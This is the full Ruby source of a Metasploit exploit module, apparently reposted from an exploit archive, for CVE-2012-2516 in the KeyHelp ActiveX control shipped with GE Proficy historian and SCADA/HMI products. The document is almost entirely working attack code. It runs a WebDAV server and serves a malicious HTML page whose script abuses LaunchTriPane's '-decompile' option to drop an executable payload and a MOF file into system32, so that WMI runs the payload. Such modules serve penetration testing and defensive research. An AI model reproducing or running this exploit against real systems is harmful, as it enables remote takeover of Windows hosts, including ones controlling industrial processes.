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KeyHelp ActiveX LaunchTriPane Remote Code Execution
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, :javascript => true, :rank => NormalRanking, :classid => "{45E66957-2932-432A-A156-31503DF0A681}", :method => "LaunchTriPane", }) def initialize(info = {}) super(update_info(info, 'Name' => 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability', 'Description' => %q{ This module exploits a code execution vulnerability in the KeyScript ActiveX control from keyhelp.ocx. It is packaged in several products or GE, such as Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42. When the control is installed with these products, the function "LaunchTriPane" will use ShellExecute to launch "hh.exe", with user controlled data as parameters. Because of this, the "-decompile" option can be abused to write arbitrary files on the remote system. Code execution can be achieved by first uploading the payload to the remote machine, and then upload another mof file, which enables Windows Management Instrumentation service to execute it. Please note that this module currently only works for Windows before Vista. On the other hand, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3 }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-2516' ], [ 'OSVDB', '83311' ], [ 'BID', '55265' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ], [ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ #Windows before Vista because of the WBEM technique [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jun 26 2012', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def on_new_session(client) print_status("The exe payload (C:\\windows\\system32\\msfmsf.exe) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\msfmsf.mof) must be removed manually.") end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/ ret = targets[0] elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/ ret = targets[0] elsif agent =~ /MSIE/ ret = targets[0] else print_error("Unknown User-Agent: #{agent}") end ret end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target) print_status("Responding to GET request #{request.uri}") # dispatch based on extension if (request.uri =~ /\.chm$/i) # # CHM requests sent by IE and the WebDav Mini-Redirector # if request.uri =~ /#{@var_exe_name}/ print_status("Sending CHM with payload") send_response(cli, @chm_payload, { 'Content-Type' => 'application/octet-stream' }) elsif request.uri =~ /#{@var_mof_name}/ print_status("Sending CHM with mof") send_response(cli, @chm_mof, { 'Content-Type' => 'application/octet-stream' }) else send_not_found(cli) end else # # HTML requests sent by IE and Firefox # my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] path = request.uri.gsub(/\//, '\\\\\\') payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm' mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm' print_status("Using #{payload_unc} for payload...") print_status("Using #{mof_unc} for the mof file...") html = <<-HTML <html> <body> <script> KeyScript = new ActiveXObject("KeyHelp.KeyScript"); ChmPayloadFile = "-decompile C:\\\\WINDOWS\\\\system32\\\\ #{payload_unc}"; ChmMofFile = "-decompile c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\ #{mof_unc}"; KeyScript.LaunchTriPane(ChmPayloadFile); setTimeout('KeyScript.LaunchTriPane(ChmMofFile);',3000); </script> </body> </html> HTML html.gsub!(/\t\t\t/, '') print_status("Sending HTML page") send_response(cli, html) end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request, target) print_status("Responding to WebDAV OPTIONS request") headers = { #'DASL' => '<DAV:sql>', #'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request, target) path = request.uri print_status("Received WebDAV PROPFIND request") body = '' if (path =~ /\.chm/i) print_status("Sending CHM multistatus for #{path} ...") body = %Q|<?xml version="1.0"?> <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> <a:response> </a:response> </a:multistatus> | elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) print_status("Sending 404 for #{path} ...") send_not_found(cli) return elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def generate_payload_chm(data) path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_payload.chm") fd = File.open(path, "rb") chm = fd.read(fd.stat.size) fd.close chm << data chm end def generate_mof_chm(data) path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_mof.chm") fd = File.open(path, "rb") chm = fd.read(fd.stat.size) fd.close chm << data chm end # # When exploit is called, generate the chm contents # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end @var_mof_name = rand_text_alpha(7) @var_exe_name = rand_text_alpha(7) payload_contents = generate_payload_exe mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe") @chm_payload = generate_payload_chm(payload_contents) @chm_mof = generate_mof_chm(mof_contents) super end end # 0day.today [2024-12-25] #